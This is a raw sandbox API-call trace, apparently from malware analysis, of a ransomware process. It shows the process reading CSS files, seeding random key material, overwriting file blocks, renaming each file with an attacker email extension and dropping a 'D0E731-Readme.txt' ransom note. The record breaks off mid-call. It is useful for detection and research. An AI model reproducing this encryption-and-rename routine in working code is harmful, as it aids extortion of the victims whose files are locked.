0x20 [0083.587] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c098) returned 1 [0083.587] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd3f0) returned 1 [0083.587] RtlExitUserThread (Status=0x1) Thread: id = 1185 os_tid = 0x4c4 [0083.503] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css")) returned 0x20 [0083.503] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css", dwFileAttributes=0x20) returned 1 [0083.504] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x59c [0083.504] GetFileSizeEx (in: hFile=0x59c, lpFileSize=0x29d3f840 | out: lpFileSize=0x29d3f840*=40953) returned 1 [0083.504] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x9ff5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.504] ReadFile (in: hFile=0x59c, lpBuffer=0x29d3f814, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29d3f810, lpOverlapped=0x0 | out: lpBuffer=0x29d3f814*, lpNumberOfBytesRead=0x29d3f810*=0x4, lpOverlapped=0x0) returned 1 [0083.523] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.523] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cda8 [0083.524] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfd8 [0083.524] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d000 [0083.524] NtQuerySystemTime (in: CurrentTime=0x29d3f7ec | out: CurrentTime=0x29d3f7ec*=132121176414142006) returned 0x0 [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x484382cd [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x6be21cce [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x6357b356 [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0xa4273653 [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x1f05a528 [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x307773f4 [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x755cb1bb [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x95d6eaf7 [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0xc6e7206e [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x22711183 [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0xc4ca8b8c [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x7e4f2981 [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x6ee1dfc5 [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0xcead56dc [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x66c156c6 [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x5f2f0c5b [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x395fd6b2 [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x55378b06 [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0xc2f096af [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x526c1ef2 [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x1d6e464f [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x80018ac4 [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x2a9a87ba [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x29a946d6 [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x5350732b [0083.524] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0xe4a674ef [0083.525] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0xeb00b285 [0083.525] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x44ad8026 [0083.525] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0x76ec0c61 [0083.525] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0xa4463c7c [0083.525] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0xc43b561e [0083.525] RtlRandom (in: Seed=0x29d3f7f8 | out: Seed=0x29d3f7f8) returned 0xb0615684 [0083.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0083.535] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.535] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.536] ReadFile (in: hFile=0x59c, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29d3f7c4, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x29d3f7c4*=0x4096, lpOverlapped=0x0) returned 1 [0083.553] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0083.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d370 [0083.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d370) returned 1 [0083.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55dc0f8 [0083.554] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d2d0 [0083.554] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0083.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.554] WriteFile (in: hFile=0x59c, lpBuffer=0x55dc0f8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29d3f7c4, lpOverlapped=0x0 | out: lpBuffer=0x55dc0f8*, lpNumberOfBytesWritten=0x29d3f7c4*=0x4096, lpOverlapped=0x0) returned 1 [0083.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc0f8) returned 1 [0083.554] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x9ff9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.554] WriteFile (in: hFile=0x59c, lpBuffer=0x342d2d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29d3f7fc, lpOverlapped=0x0 | out: lpBuffer=0x342d2d0*, lpNumberOfBytesWritten=0x29d3f7fc*=0x20, lpOverlapped=0x0) returned 1 [0083.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2d0) returned 1 [0083.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.555] WriteFile (in: hFile=0x59c, lpBuffer=0x342d2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29d3f810, lpOverlapped=0x0 | out: lpBuffer=0x342d2f8*, lpNumberOfBytesWritten=0x29d3f810*=0x8, lpOverlapped=0x0) returned 1 [0083.555] WriteFile (in: hFile=0x59c, lpBuffer=0x29d3f828*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29d3f810, lpOverlapped=0x0 | out: lpBuffer=0x29d3f828*, lpNumberOfBytesWritten=0x29d3f810*=0x4, lpOverlapped=0x0) returned 1 [0083.555] WriteFile (in: hFile=0x59c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29d3f810, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x29d3f810*=0x4, lpOverlapped=0x0) returned 1 [0083.555] WriteFile (in: hFile=0x59c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29d3f810, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x29d3f810*=0x6c, lpOverlapped=0x0) returned 1 [0083.555] WriteFile (in: hFile=0x59c, lpBuffer=0x342cfd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29d3f810, lpOverlapped=0x0 | out: lpBuffer=0x342cfd8*, lpNumberOfBytesWritten=0x29d3f810*=0x20, lpOverlapped=0x0) returned 1 [0083.555] WriteFile (in: hFile=0x59c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29d3f810, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x29d3f810*=0x4, lpOverlapped=0x0) returned 1 [0083.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfd8) returned 1 [0083.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d528) returned 1 [0083.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.555] CloseHandle (hObject=0x59c) returned 1 [0083.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xce) returned 0x3476790 [0083.555] wcscpy (in: _Dest=0x3476790, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css" [0083.555] wcscat (in: _Dest=0x3476790, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css.mailto[kokoklock@cock.li].d0e731" [0083.556] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css.mailto[kokoklock@cock.li].d0e731")) returned 1 [0083.556] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0083.557] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476790) returned 1 [0083.557] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css", dwFileAttributes=0x20) returned 0 [0083.557] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x348c098 [0083.557] wcscpy (in: _Dest=0x348c098, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\" [0083.557] wcscat (in: _Dest=0x348c098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\D0E731-Readme.txt" [0083.557] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\d0e731-readme.txt")) returned 0xffffffff [0083.557] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x59c [0083.557] WriteFile (in: hFile=0x59c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x29d3f80c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x29d3f80c*=0x481, lpOverlapped=0x0) returned 1 [0083.558] CloseHandle (hObject=0x59c) returned 1 [0083.558] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c098) returned 1 [0083.558] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b388) returned 1 [0083.558] RtlExitUserThread (Status=0x1) Thread: id = 1186 os_tid = 0x798 [0083.508] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css")) returned 0x20 [0083.508] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css", dwFileAttributes=0x20) returned 1 [0083.509] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0083.509] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x29dbf9e8 | out: lpFileSize=0x29dbf9e8*=269159) returned 1 [0083.509] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x41b63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.509] ReadFile (in: hFile=0x7c4, lpBuffer=0x29dbf9bc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29dbf9b8, lpOverlapped=0x0 | out: lpBuffer=0x29dbf9bc*, lpNumberOfBytesRead=0x29dbf9b8*=0x4, lpOverlapped=0x0) returned 1 [0083.511] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.511] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cda8 [0083.511] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf38 [0083.511] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf60 [0083.511] NtQuerySystemTime (in: CurrentTime=0x29dbf994 | out: CurrentTime=0x29dbf994*=132121176413985148) returned 0x0 [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0xc5e1eb08 [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0xdd87d6ef [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x5d1c7f8b [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0xa51fee63 [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0xdd87db13 [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x688145cf [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x516aeff2 [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0xea6b2157 [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x12747862 [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0xdf9791aa [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0xc33db46d [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0xf68288cf [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x93830e8d [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x460d5332 [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x520d495 [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0xe2865abd [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x2c37e0c0 [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x540e1040 [0083.511] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x5ceb6596 [0083.512] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0xa7ceac76 [0083.512] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x6a75bbed [0083.512] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x4b52a0f5 [0083.512] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x3c1a5601 [0083.512] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x42e2414d [0083.512] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x844b7a82 [0083.512] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x13b3fd19 [0083.512] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x1d9439c8 [0083.512] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x422c1d2e [0083.512] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x8c90a134 [0083.512] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x6e9829ca [0083.512] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x244b11af [0083.512] RtlRandom (in: Seed=0x29dbf9a0 | out: Seed=0x29dbf9a0) returned 0x96000b01 [0083.522] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.522] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0083.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.522] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.523] ReadFile (in: hFile=0x7c4, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29dbf954, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x29dbf954*=0x4096, lpOverlapped=0x0) returned 1 [0083.551] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0083.552] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d370 [0083.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d370) returned 1 [0083.552] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55dc0f8 [0083.552] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d2a8 [0083.552] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0083.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.552] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dc0f8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29dbf954, lpOverlapped=0x0 | out: lpBuffer=0x55dc0f8*, lpNumberOfBytesWritten=0x29dbf954*=0x4096, lpOverlapped=0x0) returned 1 [0083.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc0f8) returned 1 [0083.553] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.553] ReadFile (in: hFile=0x7c4, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29dbf954, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x29dbf954*=0x4096, lpOverlapped=0x0) returned 1 [0083.563] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd118 [0083.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fc88 [0083.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d3e8 [0083.563] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d3e8) returned 1 [0083.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d690 [0083.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d370 [0083.563] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d370) returned 1 [0083.563] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc88) returned 1 [0083.563] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd118) returned 1 [0083.563] WriteFile (in: hFile=0x7c4, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29dbf954, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x29dbf954*=0x4096, lpOverlapped=0x0) returned 1 [0083.564] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.564] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x3dad1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.564] ReadFile (in: hFile=0x7c4, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29dbf954, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x29dbf954*=0x4096, lpOverlapped=0x0) returned 1 [0083.570] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x3dad1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.570] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0083.570] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0083.570] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d398 [0083.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d398) returned 1 [0083.570] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d398 [0083.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d230 [0083.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d230) returned 1 [0083.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0083.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0083.571] WriteFile (in: hFile=0x7c4, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29dbf954, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x29dbf954*=0x4096, lpOverlapped=0x0) returned 1 [0083.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.571] WriteFile (in: hFile=0x7c4, lpBuffer=0x342d2a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29dbf9b0, lpOverlapped=0x0 | out: lpBuffer=0x342d2a8*, lpNumberOfBytesWritten=0x29dbf9b0*=0x20, lpOverlapped=0x0) returned 1 [0083.571] WriteFile (in: hFile=0x7c4, lpBuffer=0x342d690*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29dbf9b0, lpOverlapped=0x0 | out: lpBuffer=0x342d690*, lpNumberOfBytesWritten=0x29dbf9b0*=0x20, lpOverlapped=0x0) returned 1 [0083.571] WriteFile (in: hFile=0x7c4, lpBuffer=0x342d398*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29dbf9b0, lpOverlapped=0x0 | out: lpBuffer=0x342d398*, lpNumberOfBytesWritten=0x29dbf9b0*=0x20, lpOverlapped=0x0) returned 1 [0083.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.571] WriteFile (in: hFile=0x7c4, lpBuffer=0x342cfb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dbf9b8, lpOverlapped=0x0 | out: lpBuffer=0x342cfb0*, lpNumberOfBytesWritten=0x29dbf9b8*=0x8, lpOverlapped=0x0) returned 1 [0083.571] WriteFile (in: hFile=0x7c4, lpBuffer=0x29dbf9d0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dbf9b8, 